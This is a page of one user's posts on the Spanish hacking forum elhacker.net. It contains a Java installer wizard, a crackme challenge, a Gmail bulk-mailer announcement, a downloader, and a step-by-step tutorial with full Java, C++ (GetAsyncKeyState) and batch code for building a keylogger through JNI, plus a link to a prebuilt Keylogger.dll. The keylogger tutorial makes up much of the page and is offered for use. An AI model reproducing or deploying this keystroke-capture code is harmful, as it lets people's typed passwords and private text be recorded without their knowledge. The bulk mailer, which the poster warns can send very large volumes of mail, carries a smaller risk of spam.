elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: 1 [2] 3
11  Programación / Java / MOVIDO: problema en firefox con menú desplegable en: 2 Noviembre 2010, 20:10 pm
El tema ha sido movido a Desarrollo Web.

http://foro.elhacker.net/index.php?topic=309544.0
12  Programación / Java / MOVIDO: javascript en un post sin que se ejecute. en: 23 Octubre 2010, 20:44 pm
El tema ha sido movido a Desarrollo Web.

https://foro.elhacker.net/index.php?topic=308623.0
13  Programación / Ingeniería Inversa / Desafió Ly-Crackme Java en: 21 Julio 2010, 03:38 am
Hola, aqui les traigo mi primer crackme en java, creo que el nivel es medio, es difícil deducirlo : :xD :xD

Espero les guste :D

Imagen:


Dasafio:Crear un Keygen para todas las valores

se ve?
Nivel: Medio+8 XD

Tamaño del archivo:13.35kb

Archivo:Ly CrackME.jar

Enviar por Mp.

:Lo resolvieron:
----------------------------------------------------


----------------------------------------------------

PD[0]:Por alguna extraña razon creo que es alto : xD
PD[1]: jaja lo coloque donde no era la primera ves xD

Un Saludo.
14  Programación / Java / Base para crear un instalador desde Java en: 17 Julio 2010, 02:09 am
Os dejo este código simple que programe hace mucho, es para crear un pequeño instalador desde java o también para un visor de imágenes ,claro habría que codear bastante para hacer uno completo pero este seria la base. lo coloco por si alquilen le sirve.

PD:1 Esta en Eclipse y no en Netbeans.


Paquete
Código
  1. import java.io.IOException;
  2.  
  3. import javax.swing.UIManager;
  4. import javax.swing.UnsupportedLookAndFeelException;
  5. /**
  6.  * @author leyer
  7.  */
  8. public class Install extends  jwizardcomponent.frame.JWizardFrame {
  9.    private static final long serialVersionUID = 1L;
  10.  
  11.    private jwizardcomponent.JWizardPanel panel = null;
  12.  
  13. public static final int _PANEL_0 = 0;
  14. public static final int _PANEL_1 = 1;
  15.  
  16. protected javax.swing.ImageIcon imageBackground = new javax.swing.ImageIcon("");
  17. public Install() {
  18.  this.panel = new WizardPanelMain(getWizardComponents(),"Principal");
  19.      getWizardComponents().addWizardPanel(_PANEL_0, panel);
  20.      this.panel = new WizardPanel0(getWizardComponents(),"panel");
  21.      getWizardComponents().addWizardPanel(_PANEL_1, panel);
  22.      initConfigButtons();
  23.      this.setSize(WindowsWIDTH,WindowsHEIGHT);
  24.      this.setTitle("Instalador");
  25.      jwizardcomponent.Utilities.centerComponentOnScreen(this);
  26.      this.setVisible(true);
  27.    }
  28. static final int WindowsWIDTH = 800;
  29. static final int WindowsHEIGHT= 400
  30. ;
  31. private void initConfigButtons(){
  32.      getWizardComponents().getBackButton()  .setText("Atras");
  33.      getWizardComponents().getNextButton()  .setText("Siguiente");
  34.      getWizardComponents().getCancelButton().setText("Cancelar");
  35.      getWizardComponents().getFinishButton().setText("Finalizar");
  36. }
  37. private final class WizardPanelMain extends jwizardcomponent.JWizardPanel {
  38. private static final long serialVersionUID = 1L;
  39. private javax.swing.JPanel panelBackground = new javax.swing.JPanel(){
  40. private static final long serialVersionUID = 1L;
  41. @Override
  42. public void paintComponent(java.awt.Graphics graphics){
  43. this.setOpaque(false);
  44. graphics.drawImage(imageBackground.getImage(),0,0,this.getWidth(),this.getHeight(),null);
  45. super.paintComponent(graphics);
  46. }
  47. };
  48. public WizardPanelMain(jwizardcomponent.JWizardComponents jWizardComponents, String title) {
  49.        super(jWizardComponents, title);
  50.        this.setLayout(new java.awt.BorderLayout());
  51. this.panelBackground.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT));
  52. this.add(panelBackground,java.awt.BorderLayout.CENTER);
  53.    }}
  54. private final class WizardPanel0 extends jwizardcomponent.JWizardPanel{
  55. private static final long serialVersionUID = 1L;
  56. private javax.swing.JPanel panelBackground = new javax.swing.JPanel(){
  57. private static final long serialVersionUID = 1L;
  58. @Override
  59. public void paintComponent(java.awt.Graphics graphics){
  60. this.setOpaque(false);
  61.  
  62. graphics.drawImage(imageBackground.getImage(),0,0,this.getWidth(),this.getHeight(),null);
  63. super.paintComponent(graphics);
  64. }
  65. };
  66. public WizardPanel0(jwizardcomponent.JWizardComponents jWizardComponents,String title) {
  67. super(jWizardComponents,title);
  68. this.setLayout(new java.awt.BorderLayout());
  69. this.add(panelBackground,java.awt.BorderLayout.CENTER);
  70. }}
  71. public static void main(String[] args) throws SecurityException, IOException {
  72. try {
  73. UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
  74. } catch (ClassNotFoundException e) {
  75. e.printStackTrace();
  76. } catch (InstantiationException e) {
  77. e.printStackTrace();
  78. } catch (IllegalAccessException e) {
  79. e.printStackTrace();
  80. e.printStackTrace();
  81. }
  82. long start, end;
  83. start = System.currentTimeMillis();
  84. new Install().setDefaultCloseOperation(javax.swing.JFrame.EXIT_ON_CLOSE);
  85. end = System.currentTimeMillis();
  86. System.out.println("Elapsed time: " + (end - start));
  87. }
  88.  

Un saludo. :)
15  Programación / Desarrollo Web / Sobre index?id=x en: 24 Junio 2010, 23:28 pm
Hola, bueno verán tengo un amigo que esta haciendo un web(que ni se cual es) :xD y no soy yo,y me pregunta como colocar la sig sintaxis en la url

Código:
 url index.php?ID=contactos

de estas cosas no se nada :xD
Edit: conozco php pero no lo domino

como se haría en ese caso?

Un Saludo.
 
16  Programación / Java / MintDex [Java Mail] src|bin en: 28 Enero 2010, 17:11 pm
Holas :D veamos aqui les traigo mi pequeño programa para envio de multiples mensajes o un mensaje unico a multiples destinos con archivos abjuntos con solo tener una cuenta Gmail  nada serio :) programado en Eclipse y solo tiene de netbeans el About. :xD

www.google.com
para usarlo requiere iniciar sesion con tu cuenta

PD: para los mal pensados no es que me robe tu pass o algo parecido  :-\

Advertencia! este programa permite enviar una cantidad exajerada de mensajes usalo con con discrecion :¬¬

IMG Imagen del programa
http://www.imagengratis.org/images/mintdex.png

Descargar aqui. nuevo
http://www.mediafire.com/?f1tqmmt2nlj

SRC nuevo
http://www.mediafire.com/?0nkit3nznnm

sugerencias y dudas abiertas :)

Saludos!

17  Media / Juegos y Consolas / [Duda]XBox 360 control inalambrico en: 12 Enero 2010, 21:54 pm
Hola. mi duda es la siguiente hace poco me compre un control inalambrico para la xbox 360 pero resulta que esta no me vino con el conector y bueno queria saber si eso es aparte o tiene que venir con el control obligatoriamente :huh:

Saludos.
18  Programación / Java / [Tutorial] Keylogger en Java (JNI) en: 24 Noviembre 2009, 02:27 am
Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
http://www.mediafire.com/?wt30y33j4mg

jni.h
http://www.mediafire.com/?zngnmognn5h


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"

  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código
  1. public class Keylogger extends Thread {
  2. private boolean   running=true;
  3. private int       value =0;
  4. private native int get();
  5. static {
  6. System.loadLibrary("Keylogger");
  7. /**
  8. * Carga de la DLL
  9. */
  10. }
  11. @Override
  12. public synchronized void run(){
  13. while(running){
  14. value = get();
  15. /**
  16. * Optenemos la Tecla Precionada
  17. */
  18. System.out.println((char)value);
  19. /**
  20. * La Mostramos en la Salida Estandar
  21. */
  22. }
  23. }
  24.  
  25. }
  26.  

  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código
  1. @echo off
  2. title Java
  3. set/p j= .java :
  4. echo.
  5. call javac %j%.java
  6. call javah -jni %j%
  7.  
  8. pause
  9. echo.
  10. exit

  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger


Tienes que tener algun JDK

  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.

Código
  1. /* DO NOT EDIT THIS FILE - it is machine generated */
  2. #include <jni.h>/* Header for class Keylogger */
  3. #ifndef _Included_Keylogger
  4. #define _Included_Keylogger
  5. #ifdef __cplusplus
  6. extern "C" {
  7.    #endif
  8.    #undef Keylogger_MIN_PRIORITY
  9.    #define Keylogger_MIN_PRIORITY 1L
  10.    #undef Keylogger_NORM_PRIORITY
  11.    #define Keylogger_NORM_PRIORITY 5L
  12.    #undef Keylogger_MAX_PRIORITY
  13.    #define Keylogger_MAX_PRIORITY 10L
  14.    #undef Keylogger_DELAY
  15.    #define Keylogger_DELAY 20L
  16.    /** Class: Keylogger
  17.      * Method:    get
  18.      * Signature: ()I
  19.      */
  20.  
  21.    JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
  22.    #ifdef __cplusplus
  23.    }
  24.    #endif
  25.    #endif
  26.  
    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <jni.h>
  5. #include "Keylogger.h"
  6. JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
  7.  while(true){
  8.        for(int c=8;c<=222;c++){
  9.         if(GetAsyncKeyState(c)==-32767)
  10.            return c;  
  11.        }        
  12.     Sleep(30);  
  13.     }
  14. }
  15.  

Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código
  1. public class Main {
  2. public static void main(String[] args) {
  3. new Keylogger().start();
  4. }
  5. }

Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.
19  Programación / Scripting / Algunos nombres de virus USB en: 3 Noviembre 2009, 06:22 am
.......................
20  Programación / Java / Downloader Java en: 5 Septiembre 2009, 05:27 am
para subir el nivel  :D mi segundo programa en java  :)se trata de un downloader basico en el modo de la ver el progreso de las descargas sopòrta multiples descargas ,como  siempre programado en eclipse 100% algunas de sus caracteristicas son.
____________________________
-Monitoreo de portapapeles
-Minimizar al area de notificacion
-Pausar todas las descargas asi como tambien la seleccionada
-Continuar descargas
-Cancelar descargas

_________________________



________________
Descargar aqui.
http://download379.mediafire.com/vw1myvy9dmjg/fmediyxnlir/JDeff+Downloader+by+L-eyer.jar
_______________

code
http://download941.mediafire.com/uczywlyum4sg/g2m5wnnznom/src+Downloader.zip


Saludos..

-No me subestimes a mi ni a java
Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines